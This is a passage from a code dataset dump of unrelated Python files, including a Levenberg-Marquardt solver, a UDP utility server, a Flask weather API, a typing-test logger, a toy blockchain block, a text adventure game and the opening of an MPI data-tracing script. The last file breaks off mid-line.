np.max(np.diag((J.T @ J))) * 1e-3\r\n\r\n for iteration in range(num_iterations):\r\n # 1: Compute the Jacobian matrix J, using e.g.\r\n # finite differences with the given epsilon.\r\n\r\n J = jacobian(residualsfun,p,e)\r\n\r\n # 2: Form the normal equation terms JTJ and JTr.\r\n\r\n \r\n if printbool:\r\n print(\"J= \\n\",J)\r\n print(f\"JTJ = \\n{J.T @ J}\")\r\n \r\n \r\n JTJ = J.T @ J\r\n JTr = J.T @ residualsfun(p)\r\n\r\n #delta = -np.linalg.inv(JTJ + mu * np.eye(dim)) @ JTr\r\n delta = np.linalg.solve(JTJ + mu*np.eye(dim), -JTr)\r\n\r\n if printbool:\r\n print(f\"delta = {delta}\")\r\n\r\n \r\n E_delta = np.sum(residualsfun(p+delta)**2)\r\n E = np.sum(residualsfun(p)**2)\r\n\r\n if E_delta < E:\r\n mu /= 3\r\n p += delta\r\n else:\r\n mu *= 2\r\n\r\n #print(f\"iter: {iteration} \\n p: {p} \\n mu: {mu}\")\r\n\r\n if np.linalg.norm(delta) < stop_precision:\r\n return p\r\n\r\n return p\r\n\r\n\r\ndef levenberg_marquardt2(residualsfun, residualsfun_individual, p0, m, printbool=False, stop_precision = 1e-3, num_iterations=100, finite_difference_epsilon=1e-5):\r\n\r\n l = 351\r\n #m = 5 + 7*3\r\n n = 7 \r\n\r\n p = p0\r\n e = finite_difference_epsilon\r\n\r\n J1 = jacobian2(residualsfun,p,e,l,m,n)\r\n J2 = jacobian3(residualsfun_individual,p,e,l,m,n)\r\n J2 = block_diag(*J2)\r\n\r\n # Forming A11 -- A22 from Figure 5 in assignment\r\n A11 = J1.T @ J1\r\n A12 = J1.T @ J2\r\n A21 = A12.T\r\n A22 = J2.T @ J2\r\n\r\n mu = np.max((np.max(np.diag(A11)), np.max(np.diag(A22)))) * 1e-3\r\n\r\n for iteration in range(num_iterations):\r\n\r\n\r\n # 1: Compute the Jacobian matrix J, using e.g.\r\n # finite differences with the given epsilon.\r\n\r\n J1 = jacobian2(residualsfun,p,e,l,m,n)\r\n J2 = jacobian3(residualsfun_individual,p,e,l,m,n)\r\n J2 = block_diag(*J2)\r\n\r\n # Forming A11 -- A22 from Figure 5 in assignment\r\n\r\n A11 = J1.T @ J1\r\n A12 = J1.T @ J2\r\n A21 = A12.T\r\n A22 = J2.T @ J2\r\n\r\n A22_inv = np.linalg.inv(A22+ mu * np.eye(3*l))\r\n\r\n d1 = -(J1.T @ residualsfun(p))\r\n d2 = -(J2.T @ residualsfun(p))\r\n\r\n delta_stat = np.linalg.solve(A11 + mu * np.eye(m) - A12@A22_inv@A21, d1-A12@A22_inv@d2)\r\n delta_dyn = np.linalg.solve(A22 + mu * np.eye(3*l), d2 - A21 @ delta_stat)\r\n\r\n delta = np.hstack((delta_stat,delta_dyn))\r\n\r\n if printbool:\r\n print(f\"delta = {delta}\")\r\n\r\n \r\n E_delta = np.sum(residualsfun(p+delta)**2)\r\n E = np.sum(residualsfun(p)**2)\r\n\r\n print(f\"Iter: {iteration} E_delta = {E_delta} Norm(delta) = {np.linalg.norm(delta)}\")\r\n\r\n if E_delta < E:\r\n mu /= 3\r\n p += delta\r\n else:\r\n mu *= 2\r\n\r\n if np.linalg.norm(delta) < stop_precision:\r\n return p\r\n\r\n return p\r\n","sub_path":"midterm_project/python/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"457301074","text":"from socket import * \nimport sys \nfrom _thread import * \nimport datetime\nimport random \n\nhost = 'localhost'\nport = 12000\nserverSocket= socket(AF_INET , SOCK_DGRAM)\n\ntry: \n serverSocket.bind((host,port))\nexcept: \n print('Lidhja nuk u arrit!')\n sys.exit()\n\nprint('Serveri u startua ne localhost:'+str(port))\nprint('Serveri i gatshëm të pranojë kërkesë')\n\n\ndef BASHTINGELLORE(x):\n bashtingellore = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','z','B','C','D','F','G','H','J','K','L','M','N','P','Q','R','S','T','V','W','Z']\n numeratori=0\n for shkronja in x:\n if(shkronja in bashtingellore ):\n numeratori=numeratori+1\n return numeratori\n\ndef FIBONACCI(number):\n x=1\n y=1\n for numeruesi in range(2,number):\n fibonaccia = x + y\n x = y\n y = fibonaccia\n return fibonaccia\n\ndef IPADRESA():\n return gethostbyname(gethostname())\n\ndef EMRIIKOMPJUTERIT(): \n return gethostname()\n\ndef KOHA():\n K=datetime.datetime.now()\n K = K.strftime('%H:%M:%S')\n return K\n\ndef KONVERTIMI(zgjedh, vlera):\n if zgjedh==\"KilowattToHorsepower\":\n rezultati=vlera*1.341 \n\n elif zgjedh==\"HorsepowerToKilowatt\":\n rezultati=vlera/1.341 \n\n elif zgjedh==\"DegreesToRadians\":\n rezultati = vlera*pi/180\n\n elif zgjedh==\"RadiansToDegrees\":\n rezultati = vlera*180/pi \n\n elif zgjedh==\"GallonsToLiters\":\n rezultati = vlera*3.785 \n \n elif zgjedh==\"LitersToGallons\":\n rezultati = vlera/3.785 \n else:\n\n rezultati = \"Gabim\"\n return rezultati\n\n\ndef LOJA():\n nums = random.sample(range(1,49),7)\n \n numrat = str(nums)\n return numrat\n\ndef clientthread (input , address):\n try:\n data = input.decode('utf-8')\n except IOError:\n print('Ka ndodhur nje gabim')\n komanda=str(data).rsplit(' ')\n fjalia=''\n i=len(komanda)\n for fjala in range(1,i):\n fjalia=fjalia+komanda[fjala]\n if(fjala!=i):\n fjalia+=' '\n fund=str(fjalia)\n \n if komanda[0]=='BASHTINGELLORE':\n serverSocket.sendto(str(BASHTINGELLORE(fund)).encode('utf-8') , address)\n elif komanda[0]=='EMRIIKOMPJUTERIT':\n serverSocket.sendto(str(EMRIIKOMPJUTERIT()).encode('utf-8'), address)\n elif komanda[0]=='FIBONACCI':\n nr=int(komanda[1])\n serverSocket.sendto(str(FIBONACCI(nr)).encode('utf-8'),address)\n elif komanda[0] == 'REVERSE':\n fjala = komanda[1]\n fjala = fjala[::-1]\n print(fjala)\n serverSocket.sendto(str(fjala).encode('utf-8') , address)\n elif komanda[0]== 'IPADRESA':\n serverSocket.sendto(str(IP()).encode('utf-8') , address)\n elif komanda[0]=='NUMRIPORTIT':\n serverSocket.sendto(str(port).encode('utf-8') , address)\n elif komanda[0] == 'PRINTIMI':\n serverSocket.sendto(str(fund).encode('utf-8') , address)\n elif komanda[0]== 'KOHA':\n serverSocket.sendto(str(KOHA()).encode('utf-8') , address)\n elif komanda[0] == 'LOJA':\n serverSocket.sendto(str(LOJA()).encode('utf-8') , address)\n elif komanda[0] == 'KONVERTIMI':\n print('Klienti ka zgjedhur te konvertoj' + komanda[1])\n nr=int(komanda[2])\n serverSocket.sendto(str(KONVERTIMI(komanda[1], nr)).encode('utf-8'),address)\n else:\n serverSocket.sendto(str('GABIM!').encode('utf-8'))\nwhile True:\n data , address=serverSocket.recvfrom(128)\n print('Serveri tani eshte lidhur me' + str(address))\n start_new_thread(clientthread , (data,address,))\nserverSocket.close()\n\n\n\n","sub_path":"ServeriUDP/ServeriUDP/ServeriUDP.py","file_name":"ServeriUDP.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"259617263","text":"import spotipy\nimport json\nfrom spotipy.oauth2 import SpotifyClientCredentials\n\n\nclass SearchHandler:\n\n def __init__(self):\n with open(\"credentials.json\") as credentials_file:\n credentials = json.load(credentials_file)\n client_credentials_manager = SpotifyClientCredentials(client_id=credentials[\"client_id\"],\n client_secret=credentials[\"client_secret\"])\n self.sp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\n def search_track(self, track_name):\n assert type(track_name) is str, \"track_name is not a string\"\n result = self.sp.search(q='track:' + track_name, limit=10, type='track')\n return result\n\n def get_track_by_uri(self, track_uri):\n assert type(track_uri) is str, \"track_uri is not a string\"\n result = self.sp.track(track_uri)\n return result\n\n def trim_result(self, result):\n assert type(result) is dict, \"result must be a dictionary\"\n trimmed_results = {'tracks': []}\n items = result.get(\"tracks\")[\"items\"]\n for track in items:\n trimmed_track = {\"name\": track.get(\"name\"),\n \"artists\": [artist.get(\"name\") for artist in track.get(\"artists\")],\n \"album\": track.get(\"album\").get(\"name\"),\n \"uri\": track.get(\"uri\")}\n trimmed_results['tracks'].append(trimmed_track)\n return trimmed_results\n","sub_path":"server/API_Handler_Search.py","file_name":"API_Handler_Search.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"363060114","text":"from flask import Flask, jsonify\nimport datetime as dt\n# Python SQL toolkit and Object Relational Mapper\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom sqlalchemy import desc\n\napp = Flask(__name__)\n\nengine = create_engine(\"sqlite:///Instructions/Resources/hawaii.sqlite\", \\\n connect_args={'check_same_thread': False})\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(engine, reflect=True)\n# Save references to each table\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n# Create our session (link) from Python to the DB\nsession = Session(engine)\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n \"\"\"Return the dates and temperature \n observations from last year as json\"\"\"\n # Calculate the date 1 year ago from today\n date = session.query(func.max(Measurement.date))[0]\n max_date = dt.datetime.strptime(str(date[0]), \"%Y-%m-%d\")\n min_date = max_date - dt.timedelta(days=365)\n # Perform a query to retrieve the data and precipitation scores\n query = session.query(Measurement.date, func.avg(Measurement.prcp)).\\\n filter(Measurement.date.between(min_date,max_date)).group_by(Measurement.date).all()\n return jsonify(dict(query))\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n \"\"\"Return a JSON list of stations from the dataset.\"\"\"\n stations = session.query(Station.name).all()\n station_names = [s[0] for s in stations]\n return jsonify(station_names)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n \"\"\"Return a JSON list of Temperature Observations (tobs) for the previous year\"\"\"\n # Calculate the date 1 year ago from today\n date = session.query(func.max(Measurement.date))[0]\n max_date = dt.datetime.strptime(str(date[0]), \"%Y-%m-%d\")\n min_date = max_date - dt.timedelta(days=365)\n # Perform a query to retrieve the data and precipitation scores\n query = session.query(Measurement.date, func.avg(Measurement.tobs)).\\\n filter(Measurement.date.between(min_date,max_date)).group_by(Measurement.date).all()\n return jsonify(dict(query))\n\n\n@app.route(\"/\")\ndef welcome():\n return (\n f\"Welcome to the Hawaii Weather API! \"\n f\"Available Routes: \"\n f\"/api/v1.0/precipitation : json data for precipitation for last year \"\n f\"/api/v1.0/tobs : json data for temperatures for last year \"\n f\"/api/v1.0/stations : json data for all the weather stations \"\n f\"/api/v1.0/start : json data for minimum temperature, average temperature \"\n f\" max temperature since the given start date \"\n f\"/api/v1.0/start/end : json data for minimum temperature, average temperature \"\n f\" max temperature for start-end date\"\n )\n@app.route(\"/api/v1.0/\")\n@app.route(\"/api/v1.0//\")\ndef calc_temps(start, end=None):\n \"\"\"Return a JSON list of the minimum temperature, the average temperature, \n and the max temperature for a given start or start-end range.\"\"\"\n print (start, end)\n start_date = dt.datetime.strptime(start, \"%Y-%m-%d\")\n date = session.query(func.max(Measurement.date))[0]\n max_date = dt.datetime.strptime(str(date[0]), \"%Y-%m-%d\")\n if end is None:\n query = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start_date).first()\n else: \n end_date = dt.datetime.strptime(end, \"%Y-%m-%d\")\n if end_date > max_date:\n return jsonify({\"Error\": f\"End date {end_date} is beyond available data at {max_date}\"}), 404\n if start_date > end_date:\n return jsonify({\"Error\":f\"Start date {start_date} is beyond end data at {end_date}\"}), 404 \n query = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start_date).filter(Measurement.date <= end_date).first()\n return(jsonify(query))\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n print(\"Ran python\")\n #print(precipitation())","sub_path":"HW11/climate_app.py","file_name":"climate_app.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"119285295","text":"import re\nimport string\nimport sys\nfrom datetime import datetime\nfrom enum import Enum\n\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import QObject, pyqtSignal\n\n\"\"\"\nThe model contains all relevant data for the different views and classes.\nIt is also responsible for handling input, calculating and logging.\n\"\"\"\n\n\n# Author: Claudia, Sarah\n# Reviewer: Sarah\nclass ConfigKeys(Enum):\n PARTICIPANT_ID = \"participant_id\"\n KEYBOARD_TYPE = \"keyboard_type\"\n TXT_FILE = \"txt_file\"\n KEY_LIMIT = \"key_limit\"\n\n @staticmethod\n def get_all_values():\n return list(map(lambda v: v.value, ConfigKeys))\n\n\nclass KeyboardType(Enum):\n NORMAL = \"normal\"\n AUTO_COMPLETE = \"auto_complete\"\n # further keyboard types can be extended\n\n\nclass LogType(Enum):\n KEY_PRESSED = \"key_pressed\"\n WORD_FINISHED = \"word_finished\"\n SENTENCE_FINISHED = \"sentence_finished\"\n TEST_FINISHED = \"test_finished\"\n\n\nclass TextModel(QObject):\n LOG_TYPE = \"log_type\"\n KEY_CODE = \"key_code\"\n KEY_VALUE = \"key_value\"\n CONTENT = \"content\"\n\n TIMESTAMP = \"timestamp\"\n WORD_TIME = \"word_time_in_s\"\n SENTENCE_TIME = \"sentence_time_in_s\"\n WORDS_PER_MINUTE = \"words_per_minute\"\n\n INVALID_TIME = \"NaN\"\n\n test_finished = pyqtSignal()\n\n @staticmethod\n def __is_sentence_end(value):\n if (value == QtCore.Qt.Key_Enter\n or value == QtCore.Qt.Key_Return\n or value == \"\\n\"):\n return True\n\n return False\n\n @staticmethod\n def __write_to_stdout_in_csv_format(row_data):\n row_data_values = list(row_data.values())\n values_length = len(row_data_values)\n\n for i in range(values_length):\n value = str(row_data_values[i])\n\n if i == values_length - 1:\n sys.stdout.write(value)\n else:\n sys.stdout.write(value + \";\")\n\n sys.stdout.write(\"\\n\")\n sys.stdout.flush()\n\n @staticmethod\n def is_word_end(key_text):\n return key_text in string.punctuation + string.whitespace\n\n @staticmethod\n def is_ctrl_or_shift_or_caps_lock(event):\n return (event.modifiers() == QtCore.Qt.ControlModifier\n or event.modifiers() == QtCore.Qt.ShiftModifier\n or event.key() == QtCore.Qt.Key_CapsLock)\n\n def __init__(self, config):\n super().__init__()\n\n self.__config = config\n\n self.__content = \"\"\n\n self.__first_start_time = self.INVALID_TIME\n self.__word_start_time = self.INVALID_TIME\n self.__sentence_start_time = self.INVALID_TIME\n\n self.__sentence_count = 0\n self.__total_sentences = self.__calculate_number_sentences(\n self.get_example_text())\n\n self.__stdout_csv_column_names()\n\n def __calculate_number_sentences(self, text):\n sentence_number = 0\n\n for char in text:\n if self.__is_sentence_end(char):\n sentence_number += 1\n\n return sentence_number\n\n def __calculate_time_difference(self, start_time):\n end_time = datetime.now()\n\n try:\n return (end_time - start_time).total_seconds()\n except AttributeError:\n return self.INVALID_TIME\n except TypeError:\n return self.INVALID_TIME\n\n def __get_csv_columns(self):\n return [\n self.LOG_TYPE,\n ConfigKeys.PARTICIPANT_ID.value,\n ConfigKeys.KEYBOARD_TYPE.value,\n ConfigKeys.TXT_FILE.value,\n ConfigKeys.KEY_LIMIT.value,\n self.KEY_CODE,\n self.KEY_VALUE,\n self.CONTENT,\n self.TIMESTAMP,\n self.WORD_TIME,\n self.SENTENCE_TIME,\n self.WORDS_PER_MINUTE\n ]\n\n def __stdout_csv_column_names(self):\n for column_name in self.__get_csv_columns():\n if column_name == self.__get_csv_columns()[-1]:\n sys.stdout.write(str(column_name))\n else:\n sys.stdout.write(str(column_name) + \";\")\n\n sys.stdout.write(\"\\n\")\n sys.stdout.flush()\n\n def __calculate_words_per_minute(self):\n minutes_since_typing_start = self.__calculate_time_difference(\n self.__first_start_time) / 60\n\n return len(self.get_clean_content()) / 5 / minutes_since_typing_start\n\n def __create_row_data(self, key_event, log_type, word_time=\"NaN\", sentence_time=\"NaN\"):\n lines = self.__content.strip().splitlines()\n\n key_text = key_event.text().replace('\\r', \"\")\n key_text = key_text.replace('\\n', \"\")\n key_text = key_text.replace('\\t', \"\")\n key_text = key_text.replace('\\b', \"\")\n key_text = key_text.replace(';', \"\")\n\n return {\n self.LOG_TYPE: log_type.value,\n ConfigKeys.PARTICIPANT_ID.value: self.get_participant_id(),\n ConfigKeys.KEYBOARD_TYPE: self.get_keyboard_type(),\n ConfigKeys.TXT_FILE: self.get_file_name(),\n ConfigKeys.KEY_LIMIT: self.get_key_limit(),\n self.KEY_CODE: key_event.key(),\n self.KEY_VALUE: key_text,\n self.CONTENT: (\"\\\"\" + lines[-1] + \"\\\"\") if lines else \"\",\n self.TIMESTAMP: datetime.now(),\n self.WORD_TIME: word_time,\n self.SENTENCE_TIME: sentence_time,\n self.WORDS_PER_MINUTE: self.__calculate_words_per_minute()\n }\n\n def __handle_sentence_end(self, key_event):\n self.__sentence_count = self.__calculate_number_sentences(\n self.__content)\n\n word_time = self.__calculate_time_difference(self.__word_start_time)\n sentence_time = self.__calculate_time_difference(\n self.__sentence_start_time)\n\n if self.__sentence_count == self.__total_sentences:\n self.__write_to_stdout_in_csv_format(\n self.__create_row_data(key_event, LogType.TEST_FINISHED, word_time=word_time,\n sentence_time=sentence_time))\n self.test_finished.emit()\n\n else:\n self.__write_to_stdout_in_csv_format(\n self.__create_row_data(key_event, LogType.SENTENCE_FINISHED, word_time=word_time,\n sentence_time=sentence_time))\n\n self.__word_start_time = self.INVALID_TIME\n self.__sentence_start_time = self.INVALID_TIME\n\n def __handle_word_end(self, key_event):\n word_time = self.__calculate_time_difference(self.__word_start_time)\n\n self.__write_to_stdout_in_csv_format(\n self.__create_row_data(key_event, LogType.WORD_FINISHED, word_time=word_time))\n\n self.__word_start_time = self.INVALID_TIME\n\n def __handle_rest(self, key_event):\n if self.__word_start_time == self.INVALID_TIME:\n self.__word_start_time = datetime.now()\n\n if self.__sentence_start_time == self.INVALID_TIME:\n self.__sentence_start_time = datetime.now()\n\n self.__write_to_stdout_in_csv_format(\n self.__create_row_data(key_event, LogType.KEY_PRESSED))\n\n def __generate_word_list(self):\n # Deleting punctuation, splitting into single words, removing duplicate words and sort list alphabetically\n p = re.compile(r\"[^\\w\\s]\")\n text = p.sub('', self.get_example_text())\n return sorted(list(set(text.replace(\" \", \"\\n\").splitlines())), key=lambda s: s.lower())\n\n def __read_file(self):\n with open(self.get_file_name()) as file:\n return file.read()\n\n def get_participant_id(self):\n return self.__config[ConfigKeys.PARTICIPANT_ID.value]\n\n def get_keyboard_type(self):\n return self.__config[ConfigKeys.KEYBOARD_TYPE.value]\n\n def get_example_text(self):\n return self.__read_file()\n\n def get_file_name(self):\n return self.__config[ConfigKeys.TXT_FILE.value]\n\n def get_key_limit(self):\n return self.__config[ConfigKeys.KEY_LIMIT.value]\n\n def get_word_list(self):\n return self.__generate_word_list()\n\n def get_clean_content(self):\n p = re.compile(r\"\\W\")\n return p.sub('', self.__content)\n\n def handle_key_event(self, key_event, text):\n self.__content = text\n\n if self.__first_start_time == self.INVALID_TIME:\n self.__first_start_time = datetime.now()\n\n key_code = key_event.key()\n if self.__is_sentence_end(key_code):\n self.__handle_sentence_end(key_event)\n elif self.is_word_end(key_event.text()):\n self.__handle_word_end(key_event)\n else:\n self.__handle_rest(key_event)\n","sub_path":"text_model.py","file_name":"text_model.py","file_ext":"py","file_size_in_byte":8586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"613132763","text":"import ed25519\nfrom hashlib import sha256\n\nNULL_HASH = b'0'*64\n\ndefault_sk = b'413a67a03a4da74902bc061429a2a7b63425b55cad6f31ede3e6764c2374c8254265c247c6b2583b2c49a868c63b910181d315646d486e4b193d89a6152bf996'\ndefault_sk= default_sk.decode('utf-8')\nb=bytes.fromhex(default_sk)\n\ndefault_sk = ed25519.SigningKey(b)\n\n\n#signk = ed25519.SigningKey(default_sk)\nclass Block(object):\n\n\tdef __init__(self, round, prev_hash, author=None,\n\t author_proof=None,seed=None, genius = False, bhash=None, isEmpty=False):\n\t\tif genius:\n\t\t\tself.isGenius = True\n\t\t\tself.gen_gen_block()\n\t\telif isEmpty:\n\t\t\tself.isEmpty=True\n\t\t\tself.round = round\n\t\t\tself.prev_hash= prev_hash\n\t\t\tself.block_hash=NULL_HASH.hex()\n\t\t\tself.author = author\n\t\t\tself.author_proof=author_proof\n\t\t\tself.seed = seed\n\t\t\tself.isGenius = False\n\t\t\tself.gen_bhash()\n\n\t\telse:\n\t\t\tself.round=round\n\t\t\tself.prev_hash = prev_hash\n\t\t\tself.author = author\n\t\t\tself.author_proof = author_proof\n\t\t\tself.seed = seed\n\t\t\tself.block_hash=bhash\n\t\t\tself.isGenius=False\n\t\t\tself.isEmpty=False\n\n\t#field to store transactions, implementation TBD\n\t#genenerate genius block\n\tdef gen_gen_block(self):\n\t\tself.round = 0\n\t\tself.prev_hash=NULL_HASH\n\t\tself.author = None\n\t\tself.author_proof=None\n\t\tself.signature = default_sk.sign(self.prev_hash)\n\t\tsignstring = self.prev_hash+self.signature\n\t\tself.block_hash = sha256(signstring).digest().hex()\n\t\tself.seed = self.block_hash\n\t\t# self.isGenius=True\n\n\tdef get_previous(self):\n\t\treturn self.prev_hash\n\n\tdef add_priority(self,priority):\n\t\tself.priority = priority\n\t#set block hash, node sign it manually\n\n\tdef gen_bhash(self):\n\n\n\t\tif type(self.prev_hash) is bytes:\n\t\t\thashstring = self.prev_hash+ self.author + self.author_proof+bytes(self.round)\n\t\telse:\n\t\t\thashstring = self.prev_hash.encode('utf-8') + self.author + self.author_proof+bytes(self.round)\n\t\tself.block_hash = sha256(hashstring).digest().hex()\n\n","sub_path":"Block.py","file_name":"Block.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"370428457","text":"\n\ndef showInstructions():\n print('''\n RPG Game\n ========\n\n Your aim is to escape the house by collecting items you need to defeat the inhabitants of house.\n Good luck!\n \n Commands:\n go [direction]\n get [item]\n ''')\n\ndef showStatus():\n print('---------------------------')\n print('You are in the ' + currentRoom)\n print('Inventory : ' + str(inventory))\n if \"item\" in rooms[currentRoom]:\n print('You see a ' + rooms[currentRoom]['item'])\n print(\"---------------------------\")\n\ninventory = ['key', 'potion']\n\nrooms = {\n\n 'Hall' : { \n 'south' : 'Kitchen',\n 'east' : 'Dining Room'\n },\n\n 'Kitchen' : {\n 'north' : 'Hall',\n 'item' : 'shield'\n },\n \n 'Dining Room' : {\n 'west' : 'Hall',\n 'south' : 'Garden'\n },\n \n 'Garden' : {\n 'north' : 'Dining Room',\n 'east' : 'Menagerie',\n 'south' : 'Hallway',\n 'item' : 'potion'\n },\n \n 'Menagerie' : {\n 'west' : 'Garden',\n 'north' : 'Cloakroom',\n 'item' : 'monster'\n },\n \n 'Cloakroom' : {\n 'south' : 'Menagerie',\n 'item' : 'key'\n },\n \n 'Hallway' : {\n 'north' : 'Garden',\n 'west' : 'Bedroom',\n 'south' : 'Stairs'\n },\n \n 'Bedroom' : {\n 'east' : 'Hallway',\n 'item' : 'sword'\n },\n \n 'Stairs' : {\n 'north' : 'Hallway',\n 'down' : 'Entrance Hall'\n },\n \n 'Entrance Hall' : {\n 'up' : 'Stairs',\n 'west' : 'Witch\\'s Layer',\n 'north' : 'Exit'\n },\n\n 'Witch\\'s Layer' : {\n 'east' : 'Entrance Hall',\n 'item' : 'Code',\n 'foe' : 'Witch'\n },\n \n 'Exit' : {\n 'south': 'Entrance Hall'\n } \n \n }\n\ncurrentRoom = 'Entrance Hall'\n\nshowInstructions()\n\nwhile True:\n\n showStatus()\n\n # move between rooms\n \n move = ''\n while move == '': \n move = input('>')\n\n move = move.lower().split()\n\n if move[0] == 'go':\n if move[1] in rooms[currentRoom]:\n currentRoom = rooms[currentRoom][move[1]]\n else:\n print('You can\\'t go that way!')\n\n elif move[0] == 'get' :\n if \"item\" in rooms[currentRoom] and move[1] in rooms[currentRoom]['item']:\n inventory += [move[1]]\n print(move[1] + ' got!')\n del rooms[currentRoom]['item']\n else:\n print('Can\\'t get ' + move[1] + '!')\n\n else:\n print(\"Don't know that command!\")\n\n if 'item' in rooms[currentRoom] and 'monster' in rooms[currentRoom]['item']:\n if 'sword' in inventory and 'shield' in inventory:\n showStatus()\n print(\"You fight and kill the monster. Continue in your quest!\")\n del rooms[currentRoom]['item']\n\n elif 'sword' in inventory or 'shield' in inventory:\n showStatus()\n print(\"You fight the monster, but are forced to flee back to the garden. Maybe you could defeat it if you had more items...\")\n currentRoom = 'Garden'\n\n else:\n print(\"A monster has got you... GAME OVER\")\n break\n\n if 'item' in rooms[currentRoom] and 'Witch' in rooms[currentRoom]['foe']:\n showStatus()\n if 'potion' in inventory:\n print(\"You hide behind the door, and slip the potion into the witch's cauldron. There is an explosion, and when the smoke clears you see what you were looking for all along - the door code!\")\n del rooms[currentRoom]['foe']\n else:\n print(\"You hide behind the door, but the witch sees you! She sends you back to the Hall. Try t oseach for something to defeat her...\")\n currentRoom = 'Hall'\n \n if currentRoom == 'Stairs' and 'key' in inventory:\n print(\"You made it to the stairs... type go down to continue your escape, but beware the witch...\")\n\n if currentRoom == 'Exit' and 'Code' in inventory:\n print(\"Congratulations! You escaped the house!\")\n break\n\n\n\n","sub_path":"RPG game.py","file_name":"RPG game.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"424407010","text":"# Routine to trace Rayleigh G_Avgs data in time\n# Created by: Loren Matilsky\n# On: 12/18/2018\n# Parallelized: 11/30/2020\n##################################################################\n# This routine computes the trace in time of the values in the G_Avgs data \n# for a particular simulation. \n\n# By default, the routine traces over the last 100 files of datadir, though\n# the user can specify a different range in sevaral ways:\n# -n 10 (last 10 files)\n# -range iter1 iter2 (names of start and stop data files; iter2 can be 'last')\n# -centerrange iter0 nfiles (trace about central file iter0 over nfiles)\n\n# initialize communication\nfrom mpi4py import MPI\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\n\n# Start timing immediately\ncomm.Barrier()\nif rank == 0:\n # timing module\n import time\n # info for print messages\n import sys, os\n sys.path.append(os.environ['raco'])\n # import common here\n from common import *\n lent = 50\n char = '.'\n nproc = comm.Get_size()\n t1_glob = time.time()\n t1 = t1_glob + 0.0\n if nproc > 1:\n print ('processing in parallel with %i ranks' %nproc)\n print ('communication initialized')\n else:\n print ('processing in serial with 1 rank')\n print(fill_str('processes importing necessary modules', lent, char),\\\n end='')\n\n# modules needed by everyone\nimport numpy as np\n# data type and reading function\nimport sys, os\nsys.path.append(os.environ['raco'])\nfrom rayleigh_diagnostics2 import Shell_Slices\nreading_func = Shell_Slices\ndataname = 'Shell_Slices'\n\nif rank == 0:\n # modules needed only by proc 0 \n import pickle\n\n# Checkpoint and time\ncomm.Barrier()\nif rank == 0:\n t2 = time.time()\n print (format_time(t2 - t1))\n print(fill_str('proc 0 distributing the file lists', lent, char),\\\n end='')\n t1 = time.time()\n\n# proc 0 reads the file lists and distributes them\nif rank == 0:\n # Get the name of the run directory\n dirname = sys.argv[1]\n\n # Get the Rayleigh data directory\n radatadir = dirname + '/' + dataname + '/'\n\n # Get all the file names in datadir and their integer counterparts\n file_list, int_file_list, nfiles = get_file_lists(radatadir)\n\n # Get desired file list from command-line arguments\n args = sys.argv[2:]\n nargs = len(args)\n if nargs == 0:\n index_first, index_last = nfiles - 101, nfiles - 1 \n # By default average over the last 100 files\n else:\n index_first, index_last = get_desired_range(int_file_list, args)\n\n # Remove parts of file lists we don't need\n file_list = file_list[index_first:index_last + 1]\n int_file_list = int_file_list[index_first:index_last + 1]\n nfiles = index_last - index_first + 1\n\n # Get the problem size\n nproc_min, nproc_max, n_per_proc_min, n_per_proc_max =\\\n opt_workload(nfiles, nproc)\n\n # Will need the first data file for a number of things\n a0 = reading_func(radatadir + file_list[0], '')\n nrec_full = a0.niter\n nq = a0.nq # will add the three internal energies after\n\n # Will need nrec (last niter) to get proper time axis size\n af = reading_func(radatadir + file_list[-1], '')\n nrec_last = af.niter\n ntimes = (nfiles - 1)*nrec_full + nrec_last\n\n # get grid information\n rvalscm = a0.radius\n rinds = a0.inds\n sint = a0.sintheta\n cost = a0.costheta\n tt = np.arccos(cost)\n tt_lat = (np.pi/2 - tt)*180/np.pi\n nr = a0.nr\n nt = a0.ntheta\n nphi = a0.nphi\n\n # Distribute file_list and my_ntimes to each process\n for k in range(nproc - 1, -1, -1):\n # distribute the partial file list to other procs \n if k >= nproc_min: # last processes analyzes more files\n my_nfiles = np.copy(n_per_proc_max)\n istart = nproc_min*n_per_proc_min + (k - nproc_min)*my_nfiles\n iend = istart + my_nfiles\n else: # first processes analyze fewer files\n my_nfiles = np.copy(n_per_proc_min)\n istart = k*my_nfiles\n iend = istart + my_nfiles\n\n if k == nproc - 1: # last process may have nrec_last != nrec_full\n my_ntimes = (my_nfiles - 1)*nrec_full + nrec_last\n else:\n my_ntimes = my_nfiles*nrec_full\n\n # Get the file list portion for rank k\n my_files = np.copy(int_file_list[istart:iend])\n\n # send my_files, my_nfiles, my_ntimes if nproc > 1\n if k >= 1:\n comm.send([my_files, my_nfiles, my_ntimes, ntimes], dest=k)\nelse: # recieve my_files, my_nfiles, my_ntimes\n my_files, my_nfiles, 